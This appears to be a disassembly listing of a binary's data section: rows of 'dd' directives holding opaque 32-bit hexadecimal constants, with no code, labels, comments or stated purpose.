		dd 0FF548081h, 8AC6DCE2h, 92C9092Fh, 63814195h,	45960F56h
		dd 0E5BC00C7h, 0FC8F2EDAh, 860E7C2Eh, 200F3E09h, 8302596Ch
		dd 0F605039Fh, 7F2EFAE3h, 4AC44DE0h, 7BF989C0h,	0C35B0F49h
		dd 0FB1716A8h, 586119A0h, 0A60A214h, 2E380858h,	4DC0B945h
		dd 1B94791Dh, 229D5D40h, 1F49B16h, 0E481C1FEh, 0C88D13F8h
		dd 36001DC7h, 0E185FC4Bh, 0AE28EDDh, 5988DA74h,	961DDEh
		dd 65DF5579h, 0CD00F1C9h, 9FEE4489h, 0C13A11h, 377EA183h
		dd 6E20E993h, 5C5AC70Fh, 13FA60FDh, 182244F8h, 0D1FC162Bh
		dd 4F2EBA86h, 66012DB0h, 67D65E15h, 2182F5D1h, 734FB2B8h
		dd 8DF02E40h, 6089CA03h, 0CFFF5E75h, 3ACB96A0h,	595D00F9h
		dd 0DB6DDEC8h, 0FA337589h, 64E67078h, 60307849h, 23B34FAFh
		dd 8A1192E4h, 4FA7B709h, 271F8ADCh, 71EFC440h, 0CEF52B45h
		dd 9B895D58h, 0A3B36E80h, 0CF50C65Eh, 28CCA70h,	0E6914FBDh
		dd 0B6196CE2h, 4FB59D10h, 382EF55Ch, 9FEB8019h,	43272FA7h
		dd 0D790110h, 0AE05D0E3h, 0A6E60A6h, 0C1466900h, 33857BF7h
		dd 385D7698h, 18007E4Eh, 0C3B04067h, 7F0015DCh,	85499135h
		dd 0EAAF9Ch, 0B979B5C2h, 256405B4h, 4F476D0Bh, 56028044h
		dd 708EDB28h, 7ADF0011h, 0D8CFE930h, 0F30A12D7h, 0E31F3A5Dh
		dd 5FED2D00h, 4B029A0h,	213D4D30h, 0B643C087h, 940F6895h
		dd 6049D5EBh, 0F166F9Fh, 0F37200BAh, 415C5B33h,	0C201B698h
		dd 0D9A51357h, 0E6706219h, 31C1DEAh, 0B0280131h, 0DCEF6437h
		dd 0BC138A20h, 0D01492B8h, 14FB0023h, 2E707D38h, 324D00FAh
		dd 2AD6FF99h, 1F1CBAE7h, 6100D3B0h, 2508A628h, 0FE27170h
		dd 802DFAD6h, 0D40ECCE0h, 0BB1F5A51h, 7070614Fh, 14DAA30h
		dd 3249D723h, 0F0526083h, 334CA576h, 81311803h,	113A38h
		dd 0E320895Fh, 9F24012Dh, 6AB8CD06h, 0A01943h, 91802959h
		dd 0BC3C25D2h, 9F94CC54h, 1A973B01h, 4D1B46AFh,	0E4EFE98Bh
		dd 0A82E4000h, 0CE0105D8h, 21A6926Ch, 3BCC4E8Ah, 0B52500FBh
		dd 0EEC67216h, 0D200CEADh, 0E2230969h, 71704402h, 60E5487Bh
		dd 458CF100h, 934CFF61h, 8092CD00h, 2709EB52h, 0EC3117B0h
		dd 118C0049h, 2088A54Dh, 0E20CB771h, 504C2D6Bh,	0BE701442h
		dd 2200820Eh, 0F04A0A84h, 0B5711AA8h, 1513A000h, 42693DBCh
		dd 270D7728h, 0A7008DA3h, 0B97C2DAFh, 30B448C0h, 80E177h
		dd 1D5AE8D2h, 0D0DAC79Bh, 92480407h, 579052D7h,	0A6A546h
		dd 4F620844h, 0B638CF67h, 23D02B1Eh, 98EC8801h,	0B0BE04F0h
		dd 138BC602h, 0EFC36BDBh, 71D6B000h, 73E0D357h,	0F1E8003Bh
		dd 0AB6F6548h, 40712AAh, 0E1B6CC69h, 0E50B9781h, 757D2FF8h
		dd 2CA20067h, 0CFB7B408h, 9C6EC3F6h, 0C11A6C68h, 0D9F30003h
		dd 0D8A3F8F4h, 0D09DE364h, 3DD790ADh, 489D46BEh, 30807FE2h
		dd 0B96B1205h, 0C03E3B68h, 8EF8000Ah, 0AEF52D35h, 4BE00054h
		dd 81FCA033h, 0DD1ED0C4h, 0D5033415h, 0B84D401Eh, 17E0A7h
		dd 38364B41h, 238BC72Dh, 43097101h, 4D97CF28h, 3030E946h
		dd 8108AC69h, 840E8E16h, 0C044BE04h, 0A8991A24h, 9C6E0036h
		dd 0BEEBD33h, 0CB0F47E2h, 0FBCFF2h, 6E4D62E4h, 2365067Ah
		dd 616CA559h, 3B1CD1F4h, 0C50F434Bh, 0F00BACD7h, 192C01DAh
		dd 0ED012FD0h
		dd 0FCEC05Bh, 44BA9D07h, 9C0CF8Ch, 7213E80h, 0EF5F91Dh
		dd 0AA64007Ch, 0C300E099h, 0DC1FFB16h, 6085069Eh, 1EDBB88Fh
		dd 6E005482h, 0E20F4568h, 38BE0D5h, 1ADEAA58h, 5999CA2Dh
		dd 18ECF45Dh, 58D14130h, 638602h, 62844567h, 318FDB96h
		dd 371E08C0h, 2640E3h, 23AED6C7h, 9CE77F3Ah, 1264A206h
		dd 29E1A3h, 0A56AB65Ch,	75481A62h, 80B4BA3Dh, 9ADC88CAh
		dd 0E10FC6h, 176B11C4h,	626A8E5Bh, 87FC3AECh, 3CEFF00h
		dd 267A2C80h, 94DCA0D8h, 7641037Eh, 0FA73F9F0h,	3967DCA0h
		dd 8EC07A07h, 59A05FF4h, 0C47B675h, 0A8A9CB69h,	0AD1DF018h
		dd 284F3A2Fh, 0FD03038Fh, 0CD411EFEh, 44FB80ACh, 0C2228E76h
		dd 980D1F03h, 839CFDBDh, 0DEDAE971h, 80175DE0h,	380142F5h
		dd 0DD9EEE9Dh, 66C4293Ch, 0C1F5B00Eh, 4261FE20h, 9C788069h
		dd 0CF71E841h, 63E070Dh, 63F1937Dh, 58F8D543h, 3929BDDCh
		dd 0E1602CF4h, 0C3F2FD1Bh, 9E384A8h, 2786F01Dh,	0E06066DBh
		dd 7E1C2D24h, 0D2EB030Fh, 28B267E9h, 89F40800h,	0EDD00A5Ah
		dd 0C2311847h, 0FFFB40EBh, 6F2D7500h, 0F58E191Fh, 0F002005Ah
		dd 5278A121h, 0B000C0C7h, 5069CA6Dh, 7E8BEE9Bh,	0CF6E004Fh
		dd 10A92242h, 0F40A6859h, 247A8FD3h, 5E8D44h, 2C416EABh
		dd 2F37478Ch, 0E4E13020h, 0B880FC03h, 0AE316DF1h, 86007C82h
		dd 5009C06Fh, 3FC3E47h,	0B0DAAA1Bh, 0CEE2F922h,	2D4AF4A1h
		dd 0D8BCECh, 31816E6h, 79A5C5h,	0E98B7D5Fh, 0E6FB1D3h
		dd 8DF13Dh, 8269F6E3h, 0BBADC9h, 6D123F8Eh, 789EC352h
		dd 5E65D600h, 2DE1ED20h, 0D1961C22h, 0F1970C03h, 0D600E770h
		dd 638A89A0h, 0C0B74A15h, 8286FF38h, 41187246h,	0F498D639h
		dd 0BE6E0001h, 7CE95E58h, 694C8E31h, 0AC68009Fh, 4E12B5FDh
		dd 66A801C2h, 34253093h, 7B885308h, 60BC03C1h, 0C4010700h
		dd 29944D4h, 0BFCD7A8Ah, 410C20h, 1DA03DDCh, 0A62D884Bh
		dd 8E0BF01Fh, 99B96406h, 0FF70F619h, 9003FC55h,	0D55508h
		dd 0B9216110h, 8A04EC5Ch, 0BEA90A51h, 0A6620E58h, 12A160D8h
		dd 93F13Ch, 2ACB5A67h, 0A4D30F86h, 27310E09h, 1A3B87B4h
		dd 9E6DDC51h, 0C9684F0h, 4248B72Ch, 3E1F8116h, 928B2DF9h
		dd 20CDE78h, 433C6B2Ch,	32F92080h, 877BAD9Ch, 0F800DCE8h
		dd 629F8154h, 0E8A95F1h, 0E36DB972h, 15214D8Ch,	0E0746075h
		dd 51AD5F00h, 0E217B797h, 0C5478ACh, 4366B4Fh, 3E0013A8h
		dd 3F320264h, 1820B4F9h, 7A80BB1Eh, 1B01384Fh, 0D75EAB7Fh
		dd 0EBECF6E1h, 63B00085h, 0A09B826Bh, 0BE0196A7h, 573DE979h
		dd 0B8A12CCFh, 7FC57058h, 52B1E0D8h, 462C1CC4h,	62CE4089h
		dd 9BB29359h, 4FB09803h, 9542C1ADh, 46B8A458h, 0D18C1ECBh
		dd 0FE8A049Fh, 0E7008012h, 0BB4C9D99h, 7F3A3Ah,	77DE276Bh
		dd 9A0F68h, 39C2135Dh, 0CE25B84Bh, 0DA672C2Ch, 6B6A2F00h
		dd 38F13088h, 7FC893F6h, 131CE100h, 0FBD832CAh,	0CC5E1800h
		dd 9350A563h, 0BEA7003Ch, 0E33C794h, 8B00CA52h,	976A2DE6h
		dd 3FD4ED8Ch, 6B3EA91Dh, 7A093EFCh, 0AEFF5480h,	0F0B9C605h
		dd 0F1EA3A0Fh, 50568083h, 38BBC020h, 372A209h, 1F0C817Dh
		dd 41005BC9h, 0FEF5950Fh, 745E33A1h, 21300A2h, 0BE1D3923h
		dd 10C0AFA5h, 0CF3D6C8Fh, 0F47BBDh, 83827F5Ah, 0D1CBB05Fh
		dd 8A5E5407h, 18C060BAh, 171694Fh, 769E9B42h, 0C028788Bh
		dd 0A503D4E9h, 4A03775Ah, 223CA84Dh, 0B16001Ah,	7DB1886Dh
		dd 0B43E4074h, 3B67004Bh, 0E5753253h, 0A9F000C2h, 6FFA2858h
		dd 38C0830Bh, 2A1C8EEh,	678006A2h, 0D069734Ch, 6B383F03h
		dd 0F6A43B6h, 0F3614810h, 0F66983AEh, 0A0C08307h, 89D231A6h
		dd 8AE4B217h, 8C2B1500h, 391972F7h, 0BC80BB49h,	42638188h
		dd 0AE3A6A56h, 626F1E44h, 474D40Ah, 4F1F0FF6h, 780D368h
		dd 167D6ACEh, 5F50E80Bh, 7038001Ah, 1E9A864h, 0B03FB24Bh
		dd 0F82BC8BCh, 57078D76h, 3A25F79Eh, 0B24AA0B0h, 309400D0h
		dd 0D41E47E4h, 0C800A4C1h, 4E40893Dh, 9501DEC0h, 0F27AC958h
		dd 7D524B00h, 12238CC5h, 531400F1h, 3D4DC8A0h, 0D103749Ch
		dd 0F596A1C6h, 8AC3C0D7h, 0CE5500D0h, 0C1336987h, 0C4FCF3B4h
		dd 0B549E900h, 3119DF6Ch, 0FE6F05E0h, 8040BF38h, 0EA3F045Eh
		dd 7ACAD700h, 0C7C63EC2h, 0CB5B001Dh, 45D0B32Ch, 4A004963h
		dd 0CF86B02Eh, 3BF2D756h, 1080B1D8h, 69DD74D5h,	14F89E38h
		dd 0C1D55F8h, 8E004B67h, 0ECAE99B6h, 0CB801CE4h, 0A07000B3h
		dd 0A2053E59h, 0F7DAF90Eh, 2F25A04Ah, 0DB8C86h,	46E47B36h
		dd 1E15C71Dh, 0E074D01Bh, 63A19060h, 3171001Bh,	971CE491h
		dd 4760D807h, 0B101F810h, 3DDB16C2h, 2900AF1Bh,	4B8FA6D7h
		dd 42EB0018h, 0E8FBB1A1h, 4007ABCh, 412EA06Ch, 626E07h
		dd 67A9EDFCh, 933335C4h, 3E471330h, 10EA744h, 6ED9C7BCh
		dd 0D05FEEFEh, 3D0087F5h, 25372045h, 0E2E4E3DDh, 2AE20EABh
		dd 49814C18h, 0CCB5EA8Bh, 6F000EB7h, 0E332B454h, 0B955BBh
		dd 9CC11F11h, 47FA6EC8h, 0E1656EC0h, 13B222Eh, 35DB3DA5h
		dd 61ABFBF4h, 97C620EDh, 0A6A3881Ch, 0A77C003Eh, 0CEC9EF9Eh
		dd 16AA0114h, 0EC2F0D3Ch, 0EBE8C415h, 0C30E65ECh, 60E35BE2h
		dd 5941C9CDh, 0AEAF00EFh, 85A293B6h, 203145Eh, 36A0F6C6h
		dd 0C98A070h, 0EAC8005Ch, 53B9AC20h, 39000933h,	7BA1E6CFh
		dd 34E588h, 0CFCD565h, 0DF424F6Fh, 80F2D638h, 0FF45927Ah
		dd 508F8303h, 0F4E906h,	0A68BF86Dh, 445AFCB8h, 0BC626C00h
		dd 1785E5B3h, 0FD0B05B9h, 61539EB7h, 0C00C5990h, 56388516h
		dd 80C500F3h, 1DF57D51h, 4C100070h, 39D8C912h, 0D400EEACh
		dd 737CF399h, 0AE2783Bh, 6588ABDh, 106603ECh, 0C19FF056h
		dd 0D0C5B0A9h, 522E47F2h, 2D0032DFh, 6D249960h,	77D500C3h
		dd 7EB95375h, 7D030102h, 40816122h, 0F4CF80E8h,	0F7808h
		dd 6F6E35CBh, 1B8FEA94h, 1023CA0Fh, 74A80058h, 982E12Bh
		dd 1432A7E6h, 0BE7C6020h, 0A8729885h, 4129B600h, 73F4DEF9h
		dd 34440083h, 0ED67B249h, 0E50703C5h, 22368E3Eh, 0D2C34C10h
		dd 370906Ah, 0CFB32B01h, 0BEA06B7Fh, 0A700B9C7h, 39C6B567h
		dd 90C922h, 9326305Fh, 0D74CF8ABh, 16918C13h, 6869E900h
		dd 6B2065h, 871D346Dh, 96BDD47Ch, 9C421003h, 5F922Fh, 7B797410h
		dd 98AF19E6h, 0DF728300h, 5AB63D88h, 0D4DB006Bh, 1CF5706Eh
		dd 0BA007BB8h, 464541F8h, 0C44E50h, 0D33155ACh,	3EEC28FEh
		dd 6E57D600h, 40852EE8h, 307E00E4h, 5BE0651Ah, 8A7F7A63h
		dd 0D8999113h, 0FA2D704h, 68BF28C0h, 23670166h,	498F01B3h
		dd 8A0C20A3h, 0A6125000h, 0B25181E8h, 0B0E400C5h, 299A1659h
		dd 0EA00B7C3h, 771EE5A1h, 403E7Ah, 9681957Fh, 0E449A333h
		dd 5AB01900h, 0EDB738ECh, 46130317h, 7F9569BDh,	5E6502F8h
		dd 572A1900h, 8D6D10CEh, 0C118000Ah, 3B8009CDh,	0C000E1D2h
		dd 0DD651F5Ah, 522BDF6h, 7BB491C8h, 261A8224h, 0DB6103E0h
		dd 884858h, 0E42CFD44h,	3FB1C728h, 3A7624BBh, 0DC00E6C2h
		dd 2DE22BA7h, 2A00787Dh, 0A6E0C9CCh, 921237h, 9D10766Eh
		dd 23AE65Eh, 56F07300h,	37CE6BF2h, 0F2CBF4DCh, 50D300E7h
		dd 17864A72h, 0EF00B3E9h, 51231F6Ch, 0F0D729h, 57FF0C47h
		dd 9EDF154Ah, 0B1D9BF07h, 0A610EC37h, 0AD3EFh, 0F67AAE53h
		dd 2974958h, 3C482A17h,	0F3B3C004h, 7D904080h, 0C4A2519Fh
		dd 2F95EF0h
		dd 157696E5h, 0F1E054F2h, 40E76D3Eh, 91732ADCh,	0C4C85C48h
		dd 120D1Ch, 7CDE7064h, 3039195Fh, 8DC500D2h, 668F2353h
		dd 7E610032h, 0A8DCFAE3h, 28FCCD01h, 0AC4Ch, 0C866BA0Ah
		dd 58FCF9C3h, 0B148942Eh, 88FA3B00h, 5BD0CA10h,	0F6BC4D09h
		dd 0AA00A08Dh, 0A0E699h, 8FF096D4h, 48B6449Ch, 0CDCC670Ch
		dd 0A858ABh, 0F1C35B71h, 17F20E1Fh, 36A79E00h, 0F67B021Ch
		dd 904E18AEh, 18C1601Bh, 6079A301h, 69E19CB2h, 0EC075422h
		dd 40EE11E2h, 7F64266Fh, 97005479h, 0B2C5AE83h,	4E170Bh
		dd 1D8476CAh, 0A9C83582h, 8DEE8707h, 0C397DA4Ah, 0E454C5B0h
		dd 0D8480F08h, 25A03E1Eh, 431C1B44h, 3405A37Ah,	38BFB96Bh
		dd 9024EFC0h, 3C272447h, 0D4A40093h, 60B8E973h,	0BE002890h
		dd 61F8EBC9h, 26296E3h,	0D84B4FDCh, 98602259h, 6D541F8Eh
		dd 1D7EB194h, 2551A900h, 0ED6F546h, 0A3030097h,	2B7A858Bh
		dd 0B603E572h, 359B5558h, 1F96C04Ch, 0CC820045h, 931D3013h
		dd 0C7D64E7h, 0B39C7C01h, 10F86CD6h, 0D5B25980h, 24796856h
		dd 1CC44300h, 0DEEA9989h, 0ADD80008h, 23789405h, 0CE009758h
		dd 3B0652D4h, 7903264Dh, 1090FBh, 3AA260F3h, 0E4C47CAFh
		dd 0DAB4903h, 0BC83B1h,	536622C1h, 0E8D251BDh, 921C3C0Bh
		dd 0B0E48050h, 46DEF3Fh, 0B408C67Eh, 24208023h,	9201DE16h
		dd 2BA31A53h, 15DC398Ch, 40DA0137h, 98753360h, 5000224Dh
		dd 0BD009630h, 0C288FFBEh, 78654CFh, 0D57134CDh, 0AC1FF08Ch
		dd 0D40041E6h, 95C4774Ch, 5494B5h, 0D1296632h, 0DE8EB81Bh
		dd 773AC100h, 0BE7ECDD6h, 6A5D0E55h, 57C19B07h,	74134D44h
		dd 0E9021974h, 0D974A0AAh, 95840C8h, 0B3D176BDh, 801C9400h
		dd 9DD86000h, 5A52C032h, 51820700h, 3C99565Dh, 3FC40447h
		dd 8748269Ch, 57088034h, 0AC0791CBh, 94341AADh,	0ECE9EF90h
		dd 2B27004Ch, 7119EA4Eh, 0CB008EA8h, 0F1783A3Ch, 7050526Eh
		dd 0DD100C8h, 0D490291Bh, 3800B962h, 220FC31Eh,	0ED23CFh
		dd 6C43DFC7h, 0B23B9130h, 0C80561EEh, 26C3AFD8h, 55D5C180h
		dd 0EFB80008h, 18D18A9Eh, 840058F9h, 5BD7BBFCh,	0F7BA13B2h
		dd 5296A464h, 421FA0E3h, 62F040FBh, 61333CDDh, 49A7260Ah
		dd 47019E09h, 68F26E38h, 0E96FFCh, 436BE0ABh, 0E250EB2Fh
		dd 84291EEEh, 0CC9DEC4Ch, 60EC9880h, 0E81815CEh, 0A0990070h
		dd 42637FA6h, 20913ECAh, 62801D64h, 51B92D59h, 0AEC0D870h
		dd 131A00B2h, 86BE8DFEh, 4900F810h, 0DE6F5FFAh,	0DC278Ah
		dd 7F3F11A4h, 8791FCDDh, 88E35D00h, 0BC3E51EEh,	2029004Ch
		dd 0D9A277C0h, 2F0015F7h, 912AC6C3h, 0F38B7D3h,	7DBB57F8h
		dd 8293E9C0h, 47012D10h, 0DB51DC6Fh, 21C44992h,	0ADEA65h
		dd 175EE48Dh, 0C5D4B2B8h, 2429700h, 46E867C8h, 0C3A00386h
		dd 0FB40A8D0h, 4D418AF8h, 0DB697E00h, 3F97D6B1h, 0AF0900Fh
		dd 322090D2h, 0F6AE6084h, 0DE0F9593h, 0E0F1E281h, 7E0CC50h
		dd 51B8007Bh, 48B8FE8h,	74004C92h, 0DB2B2C35h, 2CD745CFh
		dd 62107610h, 0D8E50747h, 21C6530Bh, 23547D38h,	3FAD2FE4h
		dd 9200E67Ah, 62EA491Fh, 0B900B587h, 0C7A96B14h, 7B2AD9Ch
		dd 7AAA8CF0h, 3180593Ah, 6C059133h, 1F223809h, 0CEEC6121h
		dd 662E2C32h, 6839E0B4h, 0E57DB4BDh, 8D043305h,	0F4C71474h
		dd 12FD560h, 0E9FC09h, 4150388Fh, 96399903h, 0BE8108B3h
		dd 2CEB680Ch, 7919F8E8h, 0D713129Dh, 0B228037Ah, 41D8DF45h
		dd 0B5001562h, 0AE98CC0Ah, 1CC1B126h, 8005D496h, 9E12B485h
		dd 0C9304665h, 35FB2EB2h, 0BB980072h, 0B03191BFh, 851D781Ah
		dd 837B1EB3h, 0EFD4696Bh, 0EE98F0A8h, 6095007Eh, 18B63586h
		dd 69F678A6h, 929CF000h, 0FA5E7AEDh, 0C7410E24h, 5B00F36Ch
		dd 0A69FA9A3h, 2B3B731Dh, 0E400711Ch, 0AC10E016h, 5E920350h
		dd 2F392D7Eh, 0F448B591h, 9B00323Ah, 0C88649C4h, 0E8AB4E82h
		dd 0A3DF041Ah, 0E0DD923Bh, 6FFEFCA8h, 11A434Ch,	78E6C37Fh
		dd 0FAF8DA84h, 967758B4h, 5E43B600h, 0A435B580h, 8DB19D00h
		dd 0B2E7B75h, 0C5B900CBh, 50F95CF4h, 9005B7DAh,	3708C1A9h
		dd 0B1E9EC40h, 5A24EA8h, 70F094DFh, 8084C64Ah, 0A7990700h
		dd 8CE66D76h, 0DA435C09h, 0DC35A300h, 58DDA8B5h, 8A800C00h
		dd 6EE0B7C6h, 0D8120009h, 604D256Ah, 63004735h,	8465CF62h
		dd 82AC2Ch, 4AF2D1B9h, 0D75F69C6h, 59B66100h, 8C4047Fh
		dd 0EF9000DEh, 0D8655698h, 0CC00AAB3h, 0FC0C7E21h, 9D9F70DCh
		dd 0DA127678h, 850127BFh, 0D5A9DE4Ah, 5A80B080h, 0A4681A92h
		dd 0C70E607Ch, 0AAD80E96h, 8D80A8D0h, 8C1223EEh, 0A2F60970h
		dd 7E81A765h, 40DDB9ACh, 371B0124h, 0FA6A5F03h,	8A14A868h
		dd 0A5EF401Ch, 0B1E703F5h, 605F3A56h, 51DF76B0h, 1EC33600h
		dd 4AF6F725h, 4135007Bh, 157304DEh, 31D5071h, 0A9001478h
		dd 223C427Ch, 540D0775h, 55703A7Eh, 7DE85Dh, 4F5989E5h
		dd 3AD3Dh, 0BF5EB5C8h, 0F2F5F162h, 7700AF98h, 0BA2BEC6Ch
		dd 86CC63h, 0EBB8A3E3h,	5789A5D6h, 0DA02CF90h, 5D315A24h
		dd 0A72EC0CBh, 0D7EC02A8h, 0C614A29h, 0C098BB41h, 2017B8F3h
		dd 620030F5h, 96CC7D40h, 0CEA21FE2h, 9A60055h, 502F9444h
		dd 0D9229E02h, 481469C4h, 554C904h, 0DBB5A201h,	57A3805Ch
		dd 6D00EAFEh, 0BD9C8A3Ah, 20C11C1h, 5DD51070h, 0B0A70D95h
		dd 7203F1EEh, 701080AEh, 0DA093930h, 815303CAh,	56EC5755h
		dd 0A95B6898h, 79988379h, 0D4EBC100h, 0A752A6E2h, 0B3C00043h
		dd 3F8D935h, 1E639353h,	0D0018B99h, 7296AE1Bh, 60D7E82Ch
		dd 807C78D3h, 0DB0076EDh, 57BA5E95h, 661B9Fh, 74E521E4h
		dd 5D7C39B0h, 11A1BE00h, 2E9610F6h, 0E8573DC3h,	0B3003CBCh
		dd 13023566h, 0C1F9C497h, 0BB7A20B1h, 81C0FD7Bh, 5D50A562h
		dd 9C5F00D6h, 3E7CC39h,	0C83EE4FDh, 2B070702h, 1B50280Eh
		dd 136EDECh, 27469420h,	0D047C938h, 2600DB84h, 0F4C77A5Dh
		dd 0CA7669h, 0B42075F3h, 0EA9A1F71h, 19A15Ch, 0C066BD9Bh
		dd 19F5DA0h, 0D9236548h, 0DC435433h, 1D008F20h,	0EFA10DE9h
		dd 7CBBE8DDh, 0EAD70140h, 0AD6660D6h, 30CC41C6h, 0DA5A306Fh
		dd 7B5DD217h, 75D73900h, 0C763CF2Eh, 0C0927D11h, 3F0FE855h
		dd 33864C03h, 7673229Ah, 4B280E21h, 3BC0A559h, 0D9C64FBEh
		dd 1548D262h, 0CEC71801h, 0B7E83C1Eh, 0DE842290h, 9D2F0076h
		dd 4056E7h, 349ED472h, 8368A34Fh, 0D37E9500h, 0B437BBCh
		dd 0F04E01EBh, 2A48B7D9h, 63B88327h, 0E10EA7h, 0C349842Ah
		dd 0EF4A2D66h, 7B60D900h, 511B4338h, 0AC74AEh, 0E4ED9D26h
		dd 2023A0BFh, 92EA2D00h, 9A6242E5h, 193D3F97h, 43800F2h
		dd 0A532D3C8h, 100054ECh, 595A1B44h, 0F8D111Eh,	0B0F26D5Fh
		dd 3177803Fh, 0CEF5291Dh, 9383C600h, 0D6AB7D80h, 14180138h
		dd 5E2F320Ch, 5507E863h, 11B5FA07h, 3100B0D4h, 16452820h
		dd 0CC2E21h, 1FAD3012h,	0BD0061ABh, 6ABCD29Dh, 6D29AEh
		dd 0C44D0D24h, 2F6790F2h, 7051C00h, 0D8AAC38Fh,	16650060h
		dd 6624CFDDh, 891D3144h, 5B9D29FBh, 62A6F800h, 0E76A16h
		dd 34C6C91Dh, 9A133AFFh, 8C0E0700h, 63EF1B8Ah, 0F9D4002Eh
		dd 865613Ch, 16004B57h,	81438087h, 0C470D5h, 0E1DD9E0Fh
		dd 613D08E0h, 0B417E600h, 6D55C986h, 93DC00DFh,	74AD571Ah
		dd 210F0DD5h, 0EFDA828Dh, 0F6590070h, 77956C1h,	0EAB233BAh
		dd 0E1DF815Ah, 3020800Dh
		dd 56399758h, 18D2EA0Bh, 98F68783h, 70C0168Ch, 94DE3C5h
		dd 749CE6B6h, 3F273BBh,	92FE723Ch, 0D5A83A6Bh, 230110F1h
		dd 4C0F4215h, 97EC2E64h, 66DE18E9h, 0FB854801h,	807C5D3Eh
		dd 0E7264F1Ah, 6025D445h, 0A561801Fh, 27005E68h, 411B81CFh
		dd 161EA2h, 8B24460Bh, 956C9CEBh, 855B0900h, 0D77F3A4Dh
		dd 3DA600ABh, 2979E821h, 0A9007AA0h, 2CB6153Eh,	6DE431h
		dd 0CD8541F9h, 0BBD7B3E2h, 7D8F9301h, 970109D0h, 273066D1h
		dd 0DBE400CFh, 0ACA9BFD6h, 9E00B123h, 0FD5022AEh, 7029586h
		dd 1534D065h, 0EF8089F7h, 0B747450Dh, 1D702F07h, 0E58002D1h
		dd 1DFD48E0h, 47A62D8Ch, 93D7C581h, 2003FC92h, 1749DB50h
		dd 9954901Bh, 10E90CF3h, 0EB400EF6h, 7C166607h,	5DB06181h
		dd 180D1103h, 0C04884E6h, 69C019DCh, 93FF5385h,	11D660B1h
		dd 568BB5EDh, 0A43FC100h, 337E933h, 0C44B3CB4h,	0BFA88580h
		dd 97DB928Dh, 8E935E00h, 0EC19864Fh, 0E3D0076h,	0F4DF13B6h
		dd 18CFF926h, 0FDF5FCCh, 4847F11Ch, 2CC3518Ah, 9E9488B7h
		dd 9510C0E2h, 170E5B1h,	0CAC9D800h, 0ED13F1Ch, 0C3800368h
		dd 0AE718F44h, 935904E8h, 0B4BEE01h, 0DC57C6A4h, 720690DFh
		dd 1D4A3C30h, 87D12880h, 81C5F1CAh, 0D8F2DB07h,	0E1F03E0Bh
		dd 0FFD6574h, 0CE8EAB3Bh, 58039C0Bh, 28A19A42h,	26FCD837h
		dd 0DED3FF01h, 60530FF4h, 0B05421DCh, 1DA5E208h, 0CF058Dh
		dd 0B2DD3255h, 8B00728Ah, 914B5D3Fh, 5C6A863h, 55AFFA6Bh
		dd 0A2B60937h, 294DB801h, 70F5EDB8h, 4C78F2EBh,	9B655E00h
		dd 45503B31h, 0A08B3905h, 0DCD0CB00h, 0C78F094Ah, 4E0086EAh
		dd 722AAE1Ch, 30134D15h, 32B09B25h, 13EF163h, 0F4A8023Ah
		dd 60AF49BBh, 36815Bh, 0D4C6FE44h, 3F4EA929h, 1D0072F0h
		dd 0A1642696h, 616B01ABh, 52F0209Bh, 3A93FC02h,	685A7403h
		dd 0F0ACE599h, 0DC14F8B6h, 733F40F1h, 365B0EAFh, 51250200h
		dd 0F5C69E1Ch, 0B982007Ah, 0DF8FF7E8h, 1F00587Bh, 9962323Eh
		dd 4384DAh, 125BED1Ch, 2EB89B3Fh, 0A0D23900h, 7A0BFCE7h
		dd 6042E8E6h, 94FB2060h, 0B23F8A2Ch, 800FB9F9h,	841A46A2h
		dd 6FDEDFh, 23F78DC5h, 11831457h, 0F0FB4473h, 0A07791Bh
		dd 0EAF8B8ADh, 0A45A81B0h, 7530701h, 30BB3E86h,	0DD451EF2h
		dd 39C32D5Ch, 0DA219D35h, 0BA69F300h, 0C5A986h,	99FE6BACh
		dd 0F0F672CFh, 75D16E1Ch, 83F26940h, 63B99091h,	391251FDh
		dd 4829FA0h, 5F10B260h,	13643F3h, 87A6B392h, 0D17D75D5h
		dd 1A31805Dh, 28BA1681h, 0CC7C1CFEh, 4315C0A1h,	71F9037Bh
		dd 997F0418h, 30C3BDD0h, 641963A7h, 8D01C020h, 9D84CC70h
		dd 0A8486879h, 3B2C028Ah, 0F96AF0D2h, 2D108E11h, 0E5012E01h
		dd 4C613237h, 18808952h, 88C010B8h, 0EF000D8Bh,	0FDB6A37Eh
		dd 6F711Bh, 726C4196h, 34AEEEC7h, 8700B5ECh, 1F1E08C4h
		dd 78F5A56h, 0BCFED405h, 8C79F071h, 0F33DC52Bh,	6E278012h
		dd 55E7180Ah, 49E005FBh, 0C1E42D88h, 81DD7F0Ch,	78480B20h
		dd 0C0CBC5DCh, 44F51h, 6AA15640h, 9523B3E1h, 0C8884E3Bh
		dd 243779E1h, 0D3F668F1h, 0A0CF0040h, 13C0A981h, 0DE1843CCh
		dd 5C896724h, 350786F0h, 88FC44E7h, 407664D8h, 38785C98h
		dd 959FC15h, 0F137A80Bh, 43E2D903h, 0CC0D05E8h,	3D02230Ah
		dd 3DC7468h, 0B0DE5546h, 8180D690h, 1F007A62h, 0B43A6425h
		dd 1EE38F2Dh, 80FFFBE0h, 3CD9E4D6h, 7800106Ah, 60A3EBCFh
		dd 1B0BD0Ah, 0B232AB94h, 0F86BDE77h, 340C317Dh,	1806501Fh
		dd 0B76C0C3Eh, 6FF89ABAh, 2FADC007h, 5380C928h,	183A8Fh
		dd 0B4647274h, 23634379h, 0A8690B00h, 6846BD11h, 6D981E9Bh
		dd 6A7400A9h, 9679B3CAh, 0E9005672h, 51A6313Eh,	648CA3h
		dd 2B4FC066h, 9A88DDE8h, 947B5F00h, 412C4B53h, 0DC7607F1h
		dd 408707DBh, 0CF9EA0A9h, 200D370h, 0B64D9C01h,	4BCA68h
		dd 630FC98Dh, 54B0DB4Fh, 1FDAB13Eh, 0DF00BED0h,	7ED5FEAAh
		dd 0B6D100E5h, 0DB838835h, 49907F26h, 80DC8F3Dh, 96AA6162h
		dd 0C0FCD697h, 9FBCA1D0h, 0C0C0D876h, 4B75A977h, 0AE39039Ch
		dd 0C8853E4Ah, 5281C0FFh, 380F93C9h, 8040ACA8h,	70BFB5D3h
		dd 0B1F882h, 4654AEC0h,	0C7098904h, 0D4AB0A03h,	0CE31DB3h
		dd 4C5E4449h, 0DC0098D1h, 0BBF9B2Ah, 177B716h, 0B36CD685h
		dd 60B5D2C4h, 99FCD0A0h, 11764830h, 60346F73h, 0E8DD787Ah
		dd 0E600B82Fh, 0F12354B1h, 6F29A6B9h, 0D9862131h, 961CD4B6h
		dd 1C0BAACh, 86F85430h,	0D31E3E20h, 79470780h, 7D198702h
		dd 3302C9E2h, 0F0BD3AF9h, 6C08C089h, 2AE7003Eh,	21A01147h
